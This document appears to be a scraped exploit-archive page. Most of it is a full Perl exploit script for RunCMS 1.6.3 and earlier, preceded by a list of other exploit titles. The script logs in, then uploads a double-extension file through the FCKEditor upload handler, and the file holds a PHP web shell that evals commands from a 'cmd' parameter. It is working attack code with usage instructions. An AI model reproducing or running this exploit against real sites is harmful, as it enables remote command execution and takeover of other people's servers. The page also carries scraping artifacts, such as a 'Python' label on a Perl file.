477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
118 lines
4.4 KiB
Python
Executable file
118 lines
4.4 KiB
Python
Executable file
#!/usr/bin/perl
|
|
|
|
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
|
|
# RunCMS <= 1.6.3 "double ext" remote shell injection exploit #
|
|
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
|
|
# #
|
|
# Note: you may upload files with double extension #
|
|
# FCKEditor must be enabled for users #
|
|
# #
|
|
# #
|
|
# by staker #
|
|
# ------------------------------ #
|
|
# mail: staker[at]hotmail[dot]it #
|
|
# url: http://www.runcms.org #
|
|
# ------------------------------ #
|
|
# Discovered on 15 June 2009 #
|
|
# Happy Birthday Irene #
|
|
# ----------------------------------------------------------- #
|
|
|
|
|
|
use IO::Socket;
|
|
use LWP::UserAgent;
|
|
|
|
|
|
cronx_us();
|
|
|
|
my ($host,$path,$username) = @ARGV;
|
|
my $password = $ARGV[3] || exit;
|
|
my $filename = "snippet.jpg.pwl"; # change it this is just an example
|
|
|
|
shell_up();
|
|
|
|
sub cronx_us() {
|
|
|
|
print "[*------------------------------------------------------------*]\n".
|
|
"[* RunCMS <= 1.6.3 (fckeditor) remote shell injection exploit *]\n".
|
|
"[*------------------------------------------------------------*]\n".
|
|
"[* Usage: perl web.pl [host] [path] [user] [pass] *]\n".
|
|
"[* *]\n".
|
|
"[* Options: *]\n".
|
|
"[* [host] insert a valid host *]\n".
|
|
"[* [path] insert a valid RunCMS path *]\n".
|
|
"[* [user] your username *]\n".
|
|
"[* [pass] your password *]\n".
|
|
"[*------------------------------------------------------------*]\n";
|
|
}
|
|
|
|
sub login() {
|
|
|
|
my $LWP = new LWP::UserAgent;
|
|
|
|
my $post = $LWP->post(http_url($host)."/$path/user.php",
|
|
[ uname => $username,
|
|
pass => $password,
|
|
op => 'login',
|
|
]) || die $!;
|
|
|
|
if ($post->as_string =~ /Set-Cookie: (.*)/i) {
|
|
return $1;
|
|
}
|
|
}
|
|
|
|
sub http_url() {
|
|
|
|
my $string = shift @_ || die($!);
|
|
|
|
if ($string !~ /^http:\/\/?/i) {
|
|
return 'http://'.$string;
|
|
}
|
|
}
|
|
|
|
|
|
sub shell_up() {
|
|
|
|
my ($data,$packet,$result);
|
|
my $cookie = login();
|
|
|
|
|
|
my $vector = chr(45) x27;
|
|
my $socket = new IO::Socket::INET(
|
|
PeerAddr => $host,
|
|
PeerPort => 80,
|
|
Proto => 'tcp',
|
|
) or die $!;
|
|
|
|
|
|
$data .= $vector."--uploading\r\n";
|
|
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
|
|
$data .= "Content-Type: unknown/unknown\r\n\r\n";
|
|
$data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n";
|
|
$data .= $vector."--uploading--\r\n";
|
|
|
|
$packet .= "POST $path/class/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
|
|
$packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n";
|
|
$packet .= "Host: $host\r\n";
|
|
$packet .= "Cookie: $cookie\r\n";
|
|
$packet .= "User-Agent :Lynx (textmode)\r\n";
|
|
$packet .= "Content-Length: ".length($data)."\r\n";
|
|
$packet .= "Connection: Close\r\n\r\n";
|
|
$packet .= $data;
|
|
|
|
$socket->send($packet);
|
|
|
|
foreach $result (<$socket>) {
|
|
|
|
if ($result =~ /file uploader is disabled/i) {
|
|
die("No access for you..\n");
|
|
}
|
|
else {
|
|
print $result;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
__END__
|
|
|
|
# milw0rm.com [2009-07-13]
|